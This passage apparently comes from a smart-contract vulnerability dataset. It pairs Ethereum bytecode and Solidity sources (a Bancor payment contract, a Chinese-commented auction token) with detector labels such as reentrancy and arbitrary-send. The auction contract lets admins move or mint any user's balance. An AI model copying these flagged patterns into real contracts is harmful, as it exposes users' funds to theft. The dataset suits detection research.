01600160a01b038316610c8d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a9565b6001600160a01b038216610cef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a9565b60008111610d515760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a9565b6000546001600160a01b03848116911614801590610d7d57506000546001600160a01b03838116911614155b15610ffe57600c546001600160a01b038481169116148015610dad5750600b546001600160a01b03838116911614155b8015610dd257506001600160a01b03821660009081526004602052604090205460ff16155b15610ef857600954811115610e295760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d6974656400000000000060448201526064016105a9565b600c54600160a01b900460ff16610e785760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd081cdd185c9d1959606a1b60448201526064016105a9565b600a5481610e9b846001600160a01b031660009081526002602052604090205490565b610ea591906117ba565b1115610ef35760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a650000000060448201526064016105a9565b610f86565b6001600160a01b03831660009081526005602052604090205460ff16158015610f3a57506001600160a01b03821660009081526005602052604090205460ff16155b610f865760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c6973746564000000000060448201526064016105a9565b30600090815260026020526040902054600c54600160a81b900460ff16158015610fbe5750600c546001600160a01b03858116911614155b8015610fd35750600c54600160b01b900460ff165b15610ffc57610fe181611101565b47670de0b6b3a76400008110610ffa57610ffa47611099565b505b505b6001600160a01b03821660009081526004602052604090205461105a9084908490849060ff168061104757506001600160a01b03871660009081526004602052604090205460ff165b6110535760075461127b565b600061127b565b505050565b600081848411156110835760405162461bcd60e51b81526004016105a991906115a2565b50600061109084866117d2565b95945050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104fb573d6000803e3d6000fd5b600081836110f45760405162461bcd60e51b81526004016105a991906115a2565b50600061109084866117e9565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611149576111496116d3565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c6919061174d565b816001815181106111d9576111d96116d3565b6001600160a01b039283166020918202929092010152600b546111ff9130911684610b05565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061123890859060009086903090429060040161180b565b600060405180830381600087803b15801561125257600080fd5b505af1158015611266573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000611292606461128c858561137f565b90610abc565b905060006112a08483611401565b6001600160a01b0387166000908152600260205260409020549091506112c69085611401565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546112f59082611443565b6001600160a01b0386166000908152600260205260408082209290925530815220546113219083611443565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b60008260000361139157506000610510565b600061139d838561187c565b9050826113aa85836117e9565b14610afe5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a9565b6000610afe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061105f565b60008061145083856117ba565b905083811015610afe5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a9565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461060c57600080fd5b80356114d8816114b8565b919050565b600060208083850312156114f057600080fd5b823567ffffffffffffffff8082111561150857600080fd5b818501915085601f83011261151c57600080fd5b81358181111561152e5761152e6114a2565b8060051b604051601f19603f83011681018181108582111715611553576115536114a2565b60405291825284820192508381018501918883111561157157600080fd5b938501935b8285101561159657611587856114cd565b84529385019392850192611576565b98975050505050505050565b600060208083528351808285015260005b818110156115cf578581018301518582016040015282016115b3565b818111156115e1576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561160a57600080fd5b8235611615816114b8565b946020939093013593505050565b60008060006060848603121561163857600080fd5b8335611643816114b8565b92506020840135611653816114b8565b929592945050506040919091013590565b60006020828403121561167657600080fd5b5035919050565b60006020828403121561168f57600080fd5b8135610afe816114b8565b600080604083850312156116ad57600080fd5b82356116b8816114b8565b915060208301356116c8816114b8565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611711576117116116e9565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561175f57600080fd5b8151610afe816114b8565b60006020828403121561177c57600080fd5b81518015158114610afe57600080fd5b6000806000606084860312156117a157600080fd5b8351925060208401519150604084015190509250925092565b600082198211156117cd576117cd6116e9565b500190565b6000828210156117e4576117e46116e9565b500390565b60008261180657634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561185b5784516001600160a01b031683529383019391830191600101611836565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611896576118966116e9565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a7b879649b0f4d598bb56f5e6e5fe00541399f296044876184036d965336633764736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,130 |
0xfe0cbfe053ff1986c616612ad97e5adaafe2a761
|
pragma solidity 0.4.24;
// File: contracts/common/Ownable.sol
/**
* Ownable contract from Open zepplin
* https://github.com/OpenZeppelin/openzeppelin-solidity/
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/common/ReentrancyGuard.sol
/**
* Reentrancy guard from open Zepplin :
* https://github.com/OpenZeppelin/openzeppelin-solidity/
*
* @title Helps contracts guard agains reentrancy attacks.
* @author Remco Bloemen <remco@2π.com>
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/**
* @dev We use a single lock for the whole contract.
*/
bool private reentrancyLock = false;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* @notice If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one nonReentrant function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and a `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(!reentrancyLock);
reentrancyLock = true;
_;
reentrancyLock = false;
}
}
// File: contracts/common/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/interfaces/ERC20Interface.sol
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
//TODO : Flattener does not like aliased imports. Not needed in actual codebase.
interface IERC20Token {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/interfaces/IBancorNetwork.sol
contract IBancorNetwork {
function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256);
function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256);
function convertForPrioritized2(
IERC20Token[] _path,
uint256 _amount,
uint256 _minReturn,
address _for,
uint256 _block,
uint8 _v,
bytes32 _r,
bytes32 _s)
public payable returns (uint256);
// deprecated, backward compatibility
function convertForPrioritized(
IERC20Token[] _path,
uint256 _amount,
uint256 _minReturn,
address _for,
uint256 _block,
uint256 _nonce,
uint8 _v,
bytes32 _r,
bytes32 _s)
public payable returns (uint256);
}
/*
Bancor Contract Registry interface
*/
contract IContractRegistry {
function getAddress(bytes32 _contractName) public view returns (address);
}
// File: contracts/TokenPaymentBancor.sol
/*
* @title Token Payment using Bancor API v0.1
* @author Haresh G
* @dev This contract is used to convert ETH to an ERC20 token on the Bancor network.
* @notice It does not support ERC20 to ERC20 transfer.
*/
contract IndTokenPayment is Ownable, ReentrancyGuard {
using SafeMath for uint256;
IERC20Token[] public path;
address public destinationWallet;
//Minimum tokens per 1 ETH to convert
uint256 public minConversionRate;
IContractRegistry public bancorRegistry;
bytes32 public constant BANCOR_NETWORK = "BancorNetwork";
event conversionSucceded(address from,uint256 fromTokenVal,address dest,uint256 destTokenVal);
event conversionMin(uint256 min);
constructor(IERC20Token[] _path,
address destWalletAddr,
address bancorRegistryAddr,
uint256 minConvRate){
path = _path;
bancorRegistry = IContractRegistry(bancorRegistryAddr);
destinationWallet = destWalletAddr;
minConversionRate = minConvRate;
}
function setConversionPath(IERC20Token[] _path) public onlyOwner {
path = _path;
}
function setBancorRegistry(address bancorRegistryAddr) public onlyOwner {
bancorRegistry = IContractRegistry(bancorRegistryAddr);
}
function setMinConversionRate(uint256 minConvRate) public onlyOwner {
minConversionRate = minConvRate;
}
function setDestinationWallet(address destWalletAddr) public onlyOwner {
destinationWallet = destWalletAddr;
}
function convertToInd() internal nonReentrant {
assert(bancorRegistry.getAddress(BANCOR_NETWORK) != address(0));
IBancorNetwork bancorNetwork = IBancorNetwork(bancorRegistry.getAddress(BANCOR_NETWORK));
uint256 minReturn = 1;
emit conversionMin(minConversionRate.mul(msg.value));
uint256 convTokens = bancorNetwork.convertFor.value(msg.value)(path,msg.value,minReturn,destinationWallet);
assert(convTokens > 0);
emit conversionSucceded(msg.sender,msg.value,destinationWallet,convTokens);
}
//If accidentally tokens are transferred to this
//contract. They can be withdrawn by the followin interface.
function withdrawToken(IERC20Token anyToken) public onlyOwner nonReentrant returns(bool){
if( anyToken != address(0x0) ) {
assert(anyToken.transfer(destinationWallet, anyToken.balanceOf(this)));
}
return true;
}
//ETH cannot get locked in this contract. If it does, this can be used to withdraw
//the locked ether.
function withdrawEther() public onlyOwner nonReentrant returns(bool){
if(address(this).balance > 0){
destinationWallet.transfer(address(this).balance);
}
return true;
}
function () public payable {
//Bancor contract can send the transfer back in case of error, which goes back into this
//function ,convertToInd is non-reentrant.
convertToInd();
}
/*
* Helper function
*
*/
function getBancorContractAddress() public view returns(address) {
return bancorRegistry.getAddress(BANCOR_NETWORK);
}
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630f4f8184146100e557806313fa095f1461013c57806353b7a59b1461017f578063624964c3146101d657806370228eea1461022d578063715018a6146102935780637362377b146102aa57806386f254bf146102d957806389476069146103045780638da5cb5b1461035f5780639232494e146103b6578063a215cd92146103e9578063af6d1fe414610416578063c6ce266414610483578063f2fde38b146104c6575b6100e3610509565b005b3480156100f157600080fd5b506100fa610a31565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014857600080fd5b5061017d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a57565b005b34801561018b57600080fd5b50610194610af6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101e257600080fd5b506101eb610b1c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023957600080fd5b5061029160048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610c17565b005b34801561029f57600080fd5b506102a8610c8c565b005b3480156102b657600080fd5b506102bf610d8e565b604051808215151515815260200191505060405180910390f35b3480156102e557600080fd5b506102ee610ee4565b6040518082815260200191505060405180910390f35b34801561031057600080fd5b50610345600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eea565b604051808215151515815260200191505060405180910390f35b34801561036b57600080fd5b506103746111b5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103c257600080fd5b506103cb6111da565b60405180826000191660001916815260200191505060405180910390f35b3480156103f557600080fd5b50610414600480360381019080803590602001909291905050506111fe565b005b34801561042257600080fd5b5061044160048036038101908080359060200190929190505050611263565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048f57600080fd5b506104c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112a1565b005b3480156104d257600080fd5b50610507600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611340565b005b60008060008060149054906101000a900460ff1615151561052957600080fd5b6001600060146101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a7217f42616e636f724e6574776f726b000000000000000000000000000000000000006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561061557600080fd5b505af1158015610629573d6000803e3d6000fd5b505050506040513d602081101561063f57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff161415151561067057fe5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a7217f42616e636f724e6574776f726b000000000000000000000000000000000000006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561072957600080fd5b505af115801561073d573d6000803e3d6000fd5b505050506040513d602081101561075357600080fd5b81019080805190602001909291905050509250600191507febffed3bfcdee9680878dabdc793588fa42c6453fed545e7edfce7407cbe1e466107a0346003546113a790919063ffffffff16565b6040518082815260200191505060405180910390a18273ffffffffffffffffffffffffffffffffffffffff1663c98fefed3460013486600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518663ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180806020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182810382528681815481526020019150805480156108dd57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610893575b5050955050505050506020604051808303818588803b1580156108ff57600080fd5b505af1158015610913573d6000803e3d6000fd5b50505050506040513d602081101561092a57600080fd5b8101908080519060200190929190505050905060008111151561094957fe5b7f8f6febffd2ae5e047f58a3d8b6be5bd1c598e690bb410d67b120b89d8df09be43334600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200194505050505060405180910390a160008060146101000a81548160ff021916908315150217905550505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ab257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a7217f42616e636f724e6574776f726b000000000000000000000000000000000000006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b158015610bd757600080fd5b505af1158015610beb573d6000803e3d6000fd5b505050506040513d6020811015610c0157600080fd5b8101908080519060200190929190505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c7257600080fd5b8060019080519060200190610c889291906114d9565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ce757600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610deb57600080fd5b600060149054906101000a900460ff16151515610e0757600080fd5b6001600060146101000a81548160ff02191690831515021790555060003073ffffffffffffffffffffffffffffffffffffffff16311115610ec357600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610ec1573d6000803e3d6000fd5b505b6001905060008060146101000a81548160ff02191690831515021790555090565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f4757600080fd5b600060149054906101000a900460ff16151515610f6357600080fd5b6001600060146101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515611192578173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561108e57600080fd5b505af11580156110a2573d6000803e3d6000fd5b505050506040513d60208110156110b857600080fd5b81019080805190602001909291905050506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561114e57600080fd5b505af1158015611162573d6000803e3d6000fd5b505050506040513d602081101561117857600080fd5b8101908080519060200190929190505050151561119157fe5b5b6001905060008060146101000a81548160ff021916908315150217905550919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f42616e636f724e6574776f726b0000000000000000000000000000000000000081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125957600080fd5b8060038190555050565b60018181548110151561127257fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112fc57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561139b57600080fd5b6113a4816113df565b50565b6000808314156113ba57600090506113d9565b81830290508183828115156113cb57fe5b041415156113d557fe5b8090505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561141b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b828054828255906000526020600020908101928215611552579160200282015b828111156115515782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550916020019190600101906114f9565b5b50905061155f9190611563565b5090565b6115a391905b8082111561159f57600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101611569565b5090565b905600a165627a7a7230582070f0bb919acdaba4a77f96b9d27573b9a03cc98689a924ce3c970760b9a4a3590029
|
{"success": true, "error": null, "results": {}}
| 5,131 |
0x9a156823999fc7585a2ae1fe1c507259bde47542
|
pragma solidity ^ 0.4.25;
/* 创建一个父类, 账户管理员 */
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
/* modifier是修改标志 */
modifier onlyOwner {
require(msg.sender == owner);
_;
}
/* 修改管理员账户, onlyOwner代表只能是用户管理员来修改 */
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract lepaitoken is owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public systemprice;
struct putusers{
address puser;//竞拍人
uint addtime;//竞拍时间
uint addmoney; //竞拍价格
string useraddr; //竞拍人地址
}
struct auctionlist{
address adduser;//添加人0
uint opentime;//开始时间1
uint endtime;//结束时间2
uint openprice;//起拍价格3
uint endprice;//最高价格4
uint onceprice;//每次加价5
uint currentprice;//当前价格6
string goodsname; //商品名字7
string goodspic; //商品图片8
bool ifend;//是否结束9
uint ifsend;//是否发货10
uint lastid;//竞拍数11
mapping(uint => putusers) aucusers;//竞拍人的数据组
mapping(address => uint) ausers;//竞拍人的竞拍价格
}
auctionlist[] public auctionlisting; //竞拍中的
auctionlist[] public auctionlistend; //竞拍结束的
auctionlist[] public auctionlistts; //竞拍投诉
mapping(address => uint[]) userlist;//用户所有竞拍的订单
mapping(address => uint[]) mypostauct;//发布者所有发布的订单
mapping(address => uint) balances;
//管理员帐号
mapping(address => bool) public admins;
/* 冻结账户 */
mapping(address => bool) public frozenAccount;
bool public actived;
//0x56F527C3F4a24bB2BeBA449FFd766331DA840FFA
address btycaddress = 0x56F527C3F4a24bB2BeBA449FFd766331DA840FFA;
btycInterface constant private btyc = btycInterface(0x56F527C3F4a24bB2BeBA449FFd766331DA840FFA);
/* 通知 */
event auctconfim(address target, uint tokens);//竞拍成功通知
event getmoneys(address target, uint tokens);//获取返利通知
event Transfer(address indexed from, address indexed to, uint tokens);
event FrozenFunds(address target, bool frozen);
/* modifier是修改标志 */
modifier onlyadmin {
require(admins[msg.sender] == true);
_;
}
constructor() public {
symbol = "BTYC";
name = "BTYC Coin";
decimals = 18;
systemprice = 20000 ether;
admins[owner] = true;
actived = true;
}
/*添加拍卖 */
function addauction(uint opentimes, uint endtimes, uint onceprices, uint openprices, uint endprices, string goodsnames, string goodspics) public returns(uint){
uint _now = now;
address addusers = msg.sender;
require(actived == true);
require(!frozenAccount[addusers]);
require(opentimes >= _now - 1 hours);
require(opentimes < _now + 2 days);
require(endtimes > opentimes);
//require(endtimes > _now + 2 days);
require(endtimes < opentimes + 2 days);
require(btyc.balanceOf(addusers) >= systemprice);
auctionlisting.push(auctionlist(addusers, opentimes, endtimes, openprices, endprices, onceprices, openprices, goodsnames, goodspics, false, 0, 0));
uint lastid = auctionlisting.length;
mypostauct[addusers].push(lastid);
return(lastid);
}
//发布者发布的数量
function getmypostlastid() public view returns(uint){
return(mypostauct[msg.sender].length);
}
//发布者发布的订单id
function getmypost(uint ids) public view returns(uint){
return(mypostauct[msg.sender][ids]);
}
/* 获取用户金额 */
function balanceOf(address tokenOwner) public view returns(uint balance) {
return balances[tokenOwner];
}
//btyc用户余额
function btycBalanceOf(address addr) public view returns(uint) {
return(btyc.balanceOf(addr));
}
/* 私有的交易函数 */
function _transfer(address _from, address _to, uint _value) private {
// 防止转移到0x0
require(_to != 0x0);
require(actived == true);
// 检测发送者是否有足够的资金
require(balances[_from] >= _value);
// 检查是否溢出(数据类型的溢出)
require(balances[_to] + _value > balances[_to]);
// 将此保存为将来的断言, 函数最后会有一个检验
uint previousBalances = balances[_from] + balances[_to];
// 减少发送者资产
balances[_from] -= _value;
// 增加接收者的资产
balances[_to] += _value;
emit Transfer(_from, _to, _value);
// 断言检测, 不应该为错
assert(balances[_from] + balances[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns(bool){
_transfer(msg.sender, _to, _value);
}
function transferadmin(address _from, address _to, uint _value) public onlyadmin{
_transfer(_from, _to, _value);
}
function transferto(uint256 _value) public returns(bool){
_transfer(msg.sender, this, _value);
}
function addusermoney(address addr, uint money) public onlyadmin{
balances[addr] = balances[addr].add(money);
emit Transfer(this, addr, money);
}
//用户可用余额
function canuse(address addr) public view returns(uint) {
return(btyc.getcanuse(addr));
}
//合约现有余额
function btycownerof() public view returns(uint) {
return(btyc.balanceOf(this));
}
function ownerof() public view returns(uint) {
return(balances[this]);
}
//把合约余额转出
function sendleftmoney(address _to, uint _value) public onlyadmin{
_transfer(this, _to, _value);
}
/*用户竞拍*/
function inputauction(uint auctids, uint addmoneys, string useraddrs) public payable{
uint _now = now;
address pusers = msg.sender;
require(!frozenAccount[pusers]);
require(actived == true);
auctionlist storage c = auctionlisting[auctids];
require(c.ifend == false);
require(c.ifsend == 0);
uint userbalance = canuse(pusers);
require(addmoneys > c.currentprice);
require(addmoneys <= c.endprice);
// uint userhasmoney = c.ausers[pusers];
require(addmoneys > c.ausers[pusers]);
uint money = addmoneys - c.ausers[pusers];
require(userbalance >= money);
if(c.endtime < _now) {
c.ifend = true;
}else{
if(addmoneys == c.endprice){
c.ifend = true;
}
btycsubmoney(pusers, money);
c.ausers[pusers] = addmoneys;
c.currentprice = addmoneys;
c.aucusers[c.lastid++] = putusers(pusers, _now, addmoneys, useraddrs);
userlist[pusers].push(auctids);
//emit auctconfim(pusers, money);
}
//}
}
//获取用户自己竞拍的总数
function getuserlistlength(address uaddr) public view returns(uint len) {
len = userlist[uaddr].length;
}
//查看单个订单
function viewauction(uint aid) public view returns(address addusers,uint opentimes, uint endtimes, uint onceprices, uint openprices, uint endprices, uint currentprices, string goodsnames, string goodspics, bool ifends, uint ifsends, uint anum){
auctionlist storage c = auctionlisting[aid];
addusers = c.adduser;//0
opentimes = c.opentime;//1
endtimes = c.endtime;//2
onceprices = c.onceprice;//3
openprices = c.openprice;//4
endprices = c.endprice;//5
currentprices = c.currentprice;//6
goodspics = c.goodspic;//7
goodsnames = c.goodsname;//8
ifends = c.ifend;//9
ifsends = c.ifsend;//10
anum = c.lastid;//11
}
//获取单个订单的竞拍者数据
function viewauctionlist(uint aid, uint uid) public view returns(address pusers,uint addtimes,uint addmoneys){
auctionlist storage c = auctionlisting[aid];
putusers storage u = c.aucusers[uid];
pusers = u.puser;//0
addtimes = u.addtime;//1
addmoneys = u.addmoney;//2
}
//获取所有竞拍商品的总数
function getactlen() public view returns(uint) {
return(auctionlisting.length);
}
//获取投诉订单的总数
